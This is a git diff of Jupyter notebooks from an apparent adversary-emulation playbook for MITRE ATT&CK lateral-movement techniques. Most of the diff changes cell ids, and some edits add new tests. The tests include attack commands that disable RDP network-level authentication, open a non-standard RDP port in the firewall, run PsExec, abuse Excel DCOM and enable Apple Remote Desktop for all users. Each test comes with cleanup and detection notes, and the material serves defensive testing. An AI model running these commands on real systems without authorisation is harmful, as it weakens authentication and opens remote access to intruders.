"metadata": {}, - "source": "# T1017 - Application Deployment Software\nAdversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints." - }, - { - "cell_type": "markdown", - "id": "44e318f9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "b5e65c6a", - "metadata": {}, - "source": "## Detection\nMonitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1021.001.ipynb b/playbook/tactics/lateral-movement/T1021.001.ipynb index 2dad5225..8b00ad08 100644 --- a/playbook/tactics/lateral-movement/T1021.001.ipynb +++ b/playbook/tactics/lateral-movement/T1021.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "c44ef6de", + "id": "87c623de", "metadata": {}, "source": "# T1021.001 - Remote Desktop Protocol\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)" }, { "cell_type": "markdown", - "id": "b112a6be", + "id": "207f2954", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "26bc6f3e", + "id": "18b6b77a", "metadata": {}, "source": "### Atomic Test #1 - RDP to DomainController\nAttempt an RDP session via Remote Desktop Application to a DomainController.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ebb9ebc8", + "id": "c9d1ffc7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bd5ab45b", + "id": "a0b101d3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3120f1a2", + "id": "447d23aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cc43d73f", + "id": "56b20d14", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$p=Tasklist /svc /fi \"IMAGENAME eq mstsc.exe\" /fo csv | convertfrom-csv\nif(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8ab9a8e5", + "id": "15090a02", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "fea14c76", + "id": "c61ab97e", "metadata": {}, "source": [ "### Atomic Test #2 - Changing RDP Port to Non Standard Port via Powershell", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "708e08af", + "id": "faa85db4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2893e222", + "id": "3fd573a4", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value 3389\nRemove-NetFirewallRule -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction ignore \n```" + "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value 3389\nRemove-NetFirewallRule -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction Ignore \nGet-Service TermService | Restart-Service -Force -ErrorAction Ignore \n```" }, { "cell_type": "code", "execution_count": null, - "id": "8cafedb8", + "id": "174fc5f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8e2309cc", + "id": "9ddc29f8", "metadata": {}, "source": [ "### Atomic Test #3 - Changing RDP Port to Non Standard Port via Command_Prompt", @@ -102,34 +102,68 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 4489 -f\nnetsh advfirewall firewall add rule name=\"RDPPORTLatest-TCP-In\" dir=in action=allow protocol=TCP localport=4489\n```" + "```command_prompt\nreg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 4489 /f\nnetsh advfirewall firewall add rule name=\"RDPPORTLatest-TCP-In\" dir=in action=allow protocol=TCP localport=4489\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d2af617e", + "id": "b449f78a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a302a55b", + "id": "cd789cd8", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 3389 -f >nul 2>&1\nnetsh advfirewall firewall delete rule name=\"RDPPORTLatest-TCP-In\" >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 3389 /f >nul 2>&1\nnetsh advfirewall firewall delete rule name=\"RDPPORTLatest-TCP-In\" >nul 2>&1\nnet stop TermService /y >nul 2>&1\nnet start TermService >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e53d0241", + "id": "25c3c819", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "33fba58b", + "id": "68f24a13", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Disable NLA for RDP via Command Prompt", + "Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt\nDisabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/\nSee also: https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/management/enable_rdp.py\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /d 0 /t REG_DWORD /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "171c0823", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.001 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "1536ad9e", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /d 1 /t REG_DWORD -f >nul 2>&1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "db0d3809", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.001 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1985557f", "metadata": {}, "source": "## Detection\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time." } @@ -137,13 +171,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.002.ipynb b/playbook/tactics/lateral-movement/T1021.002.ipynb index d24bf000..7827efa2 100644 --- a/playbook/tactics/lateral-movement/T1021.002.ipynb +++ b/playbook/tactics/lateral-movement/T1021.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9dc708bc", + "id": "b55aa9ac", "metadata": {}, "source": "# T1021.002 - SMB/Windows Admin Shares\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)" }, { "cell_type": "markdown", - "id": "bd279512", + "id": "f6e29db7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ddc975f8", + "id": "f3644d8b", "metadata": {}, "source": [ "### Atomic Test #1 - Map admin share", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "34e758c6", + "id": "b1282181", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "733216bd", + "id": "cc058ca7", "metadata": {}, "source": [ "### Atomic Test #2 - Map Admin Share PowerShell", @@ -47,45 +47,45 @@ { "cell_type": "code", "execution_count": null, - "id": "66e00659", + "id": "cfc391bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b9c9e770", + "id": "d54c365e", "metadata": {}, - "source": "### Atomic Test #3 - Copy and Execute File with PsExec\nCopies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #3 - Copy and Execute File with PsExec\nCopies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "25f103ee", + "id": "eddaad7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.002 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fd9bd28b", + "id": "ecd0a891", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\PSTools\\PsExec.exe \\\\localhost -accepteula -c C:\\Windows\\System32\\cmd.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -c C:\\Windows\\System32\\cmd.exe\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e8f34d50", + "id": "7de7faeb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5e543e66", + "id": "d7431a2e", "metadata": {}, "source": [ "### Atomic Test #4 - Execute command writing output to local Admin Share", @@ -99,14 +99,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a3e0f538", + "id": "f63adc5c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "79ec576b", + "id": "e290f652", "metadata": {}, "source": "## Detection\nEnsure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)" } @@ -114,13 +114,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.003.ipynb b/playbook/tactics/lateral-movement/T1021.003.ipynb index 18566a8a..3cf103cc 100644 --- a/playbook/tactics/lateral-movement/T1021.003.ipynb +++ b/playbook/tactics/lateral-movement/T1021.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e3c30878", + "id": "1c352fb6", "metadata": {}, "source": "# T1021.003 - Distributed Component Object Model\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)" }, { "cell_type": "markdown", - "id": "1eaafafe", + "id": "1fc5ec04", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6be97409", + "id": "6860719b", "metadata": {}, "source": [ "### Atomic Test #1 - PowerShell Lateral Movement using MMC20", @@ -27,14 +27,59 @@ { "cell_type": "code", "execution_count": null, - "id": "f9c4b4bd", + "id": "1f2650dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d0410862", + "id": "f93dd70e", + "metadata": {}, + "source": "### Atomic Test #2 - PowerShell Lateral Movement Using Excel Application Object\nPowershell lateral movement using the Excel COM objects.\n\nReference:\n\nhttps://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922\n\nUpon successful execution, cmd will spawn calc.exe on a remote computer.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "142ecbaa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a3143789", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\ncopy c:\\windows\\system32\\calc.exe 'C:\\users\\admin\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"Excel.Application\",\"localhost\"))\n$com.ActivateMicrosoftApp(\"5\")\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "aa0aa5d3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "22ae09bd", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item 'C:\\users\\admin\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "19c7c07d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.003 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "dc055c5e", "metadata": {}, "source": "## Detection\nMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135)." } @@ -42,13 +87,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.004.ipynb b/playbook/tactics/lateral-movement/T1021.004.ipynb index aa085f30..cd802037 100644 --- a/playbook/tactics/lateral-movement/T1021.004.ipynb +++ b/playbook/tactics/lateral-movement/T1021.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "493698e4", + "id": "2d0073c9", "metadata": {}, "source": "# T1021.004 - SSH\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user." }, { "cell_type": "markdown", - "id": "634a9080", + "id": "df3905ae", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "344e2312", + "id": "96abe173", "metadata": {}, "source": "## Detection\nUse of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems log show --predicate 'process = \"sshd\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.005.ipynb b/playbook/tactics/lateral-movement/T1021.005.ipynb index 700e76e1..5c39bdb7 100644 --- a/playbook/tactics/lateral-movement/T1021.005.ipynb +++ b/playbook/tactics/lateral-movement/T1021.005.ipynb @@ -2,19 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "2132406a", + "id": "bcc9fb11", "metadata": {}, "source": "# T1021.005 - VNC\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)" }, { "cell_type": "markdown", - "id": "03851f86", + "id": "3525797b", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "746bb247", + "id": "85a2275c", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Enable Apple Remote Desktop Agent", + "ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. \nAdversaries can abuse ARD to gain remote code execution and perform lateral movement.\n\nReferences: https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c682a0a2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.005 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "fb1daeb4", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a12aa179", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1021.005 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "687addf3", "metadata": {}, "source": "## Detection\nUse of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)" } @@ -22,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.006.ipynb b/playbook/tactics/lateral-movement/T1021.006.ipynb index a5e6fb9a..564d6813 100644 --- a/playbook/tactics/lateral-movement/T1021.006.ipynb +++ b/playbook/tactics/lateral-movement/T1021.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5039fdba", + "id": "dc9d240b", "metadata": {}, "source": "# T1021.006 - Windows Remote Management\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)" }, { "cell_type": "markdown", - "id": "ca66b942", + "id": "05ac33bc", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ce163a0b", + "id": "145ea2d3", "metadata": {}, "source": [ "### Atomic Test #1 - Enable Windows Remote Management", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "382e5874", + "id": "cc3e2f5d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ef80f736", + "id": "52fa34e8", "metadata": {}, "source": [ "### Atomic Test #2 - Remote Code Execution with PS Credentials Using Invoke-Command", @@ -48,42 +48,42 @@ { "cell_type": "code", "execution_count": null, - "id": "388b4124", + "id": 